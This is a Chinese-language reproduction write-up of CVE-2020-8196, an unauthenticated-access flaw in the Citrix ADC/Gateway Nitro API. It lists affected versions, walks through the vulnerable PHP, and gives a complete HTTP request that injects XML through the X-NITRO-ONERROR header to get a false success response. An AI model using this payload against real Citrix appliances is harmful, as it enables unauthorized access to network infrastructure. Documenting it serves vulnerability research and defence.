(CVE-2020-8196)Citrix Nitro API 未授权访问漏洞
一、漏洞简介
Citrix ADC和Citrix NetScaler Gateway存在一个信息泄露漏洞,该漏洞允许经过身份验证的远程恶意用户获取主机上的敏感信息。通过发送特制请求,攻击者可以利用此漏洞获取敏感信息,然后使用此信息对受影响的系统发起进一步的攻击。
二、漏洞影响
Citrix ADC and Citrix Gateway: \< 13.0-58.30
Citrix ADC and NetScaler Gateway: \< 12.1-57.18
Citrix ADC and NetScaler Gateway: \< 12.0-63.21
Citrix ADC and NetScaler Gateway: \< 11.1-64.14
NetScaler ADC and NetScaler Gateway: \< 10.5-70.18
Citrix SD-WAN WANOP: \< 11.1.1a
Citrix SD-WAN WANOP: \< 11.0.3d
Citrix SD-WAN WANOP: \< 10.2.7
Citrix Gateway Plug-in for Linux: \< 1.0.0.137
三、复现过程
Nitro API 可以给用户使用,还可以给其他Citrix组件使用
举例,当我们发送
<?xml version="1.0"?>
<server></server>
则会返回
<?xml version="1.0"?>
<nitroResponse><errorcode>0</errorcode><message>Done</message><severity>NONE</severity></nitroResponse>
并且可以在未登陆的使情况进行命令请求
<?xml version="1.0"?>
<nitroResponse><errorcode>354</errorcode><message>Invalid username or password</message><severity>ERROR</severity></nitroResponse>
在这里会返回一个错误代码,该代码0
表示一切正常,>0
表示失败。API会检查几个HTTP标头,并将它们的值用于事物。其中之一是X-NITRO-ONERROR
函数中的标头get_params()
。
// Setting the header X-NITRO-ONERROR for bulk request
$nitro_error = $this->get_headervalue($headers, "X-NITRO-ONERROR");
if (isset($nitro_error))
$onerror = $this->get_headervalue($headers, "X-NITRO-ONERROR");
$saveconfig = $this->get_headervalue($headers, "X-NITRO-SAVECONFIG");
$enablefeature = $this->get_headervalue($headers, "X-NITRO-ENABLEFEATURE");
// Constructing the params.
$params = $this->validate_and_post_json_request_params($action, $format, $onerror, $override, $warning, $idempotent, $saveconfig, $enablefeature);
return $params;
在validate_and_post_json_request_params()
函数中,我们的控制值into $onerror
被添加$json_request_params
并返回为$params
:
// Validating and constructing params in nitro payload.
private function validate_and_post_json_request_params($action, $format, $onerror, $override, $warning, $idempotent, $saveconfig, $enablefeature)
{
[..]
if(isset($onerror))
$json_request_params["onerror"] = $onerror;
$json_request_params["httpheaders"] = "yes";
return $json_request_params;
}
$params
然后将变量传递给get_payload()
函数:
if (($post_body = $this->get_payload($content, $entity_type, $params, null)) === false)
return $post_body;
此函数创建"Nitro有效载荷"并返回它,以便可以在内部API调用中使用。该函数X-NITRO-ONERROR
在返回之前直接将几个参数的值(包括标头)直接粘贴到XML有效负载中:
// Constructing the nitro payload.
private function get_payload($content, $entity_type, $params, $objectname) {
$error = false;
$request = array();
$entity_list = $entity_type . "_list";
if (preg_match("/^</", $content)) {
libxml_disable_entity_loader(true);
$req = simplexml_load_string($content);
libxml_disable_entity_loader(false);
if ($req == null) {
header("HTTP/1.1 400 Bad Request");
$this->print_error_message("Invalid Xml Input");
return false;
}
if (isset($objectname)) {
if (strcmp($req->getName(), $objectname) != 0) {
header("HTTP/1.1 400 Bad Request");
$this->print_error_message("Invalid Xml Payload. Mismatch between content-type and payload");
return false;
}
}
$xml = "<nitroRequest>\n" . "" . $content . "" . $this->arrayToXMLString($params,"params") . "</nitroRequest>";
return $xml;
}
这意味着我们可以控制此XML文档中放置的元素。这个XML是通过几个函数返回的,最终以一个称为的变量结束,该变量$post_body
作为该函数的参数给出nsrest_exec()
。该函数调用的输出发送到该send_reponse()
函数:
$response = nsrest_exec($is_gui, $this->request_method, $post_body, $this->username, $this->password, $this->get_client_ip(), $_SERVER["SERVER_ADDR"], $partid);
if($this->is_direct_invocation)
return $response["response"];
$this->send_response($response, $this->request_method, $this->validate_and_get_entity_type($arg_list), $is_gui);
该nsrest_exec()
函数是Citrix随附的自定义PHP函数,位于一个名为的库文件中libphp7.so
。该函数或者在成功执行时返回XML对象,或者在执行FALSE失败时返回XML对象。沿线的某个地方FALSE变成,NULL然后NULL变成0。我不知道确切的内部工作原理,nsrest_exec
但总而言之:无效的XML X-NITRO-ONERROR
表示一切正常的响应。
例如,此请求包含无效的XML:
POST /nitro/v1/config/server HTTP/1.1
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
Content-Type: application/xml
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
DNT: 1
Connection: close
Content-Length: 17
X-NITRO-ONERROR: exit</onerror><idempotent>yes</idempotent><format>xml</format><rawdata>yes</rawdata></params><server></server><params><onerror
<server></server>
返回值
HTTP/1.1 201 Created
Date: Tue, 28 Jan 2020 10:52:07 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Set-Cookie: SESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-XSS-Protection: 1; mode=block
Content-Length: 126
Connection: close
Content-Type: application/xml; charset=utf-8
<?xml version="1.0"?>
<nitroResponse><errorcode>0</errorcode><message>Done</message><severity>NONE</severity></nitroResponse>**
如上所示一切正常,并且身份验证已通过。实际上什么也没有发生,但是使用错误代码就可以来验证API调用是否成功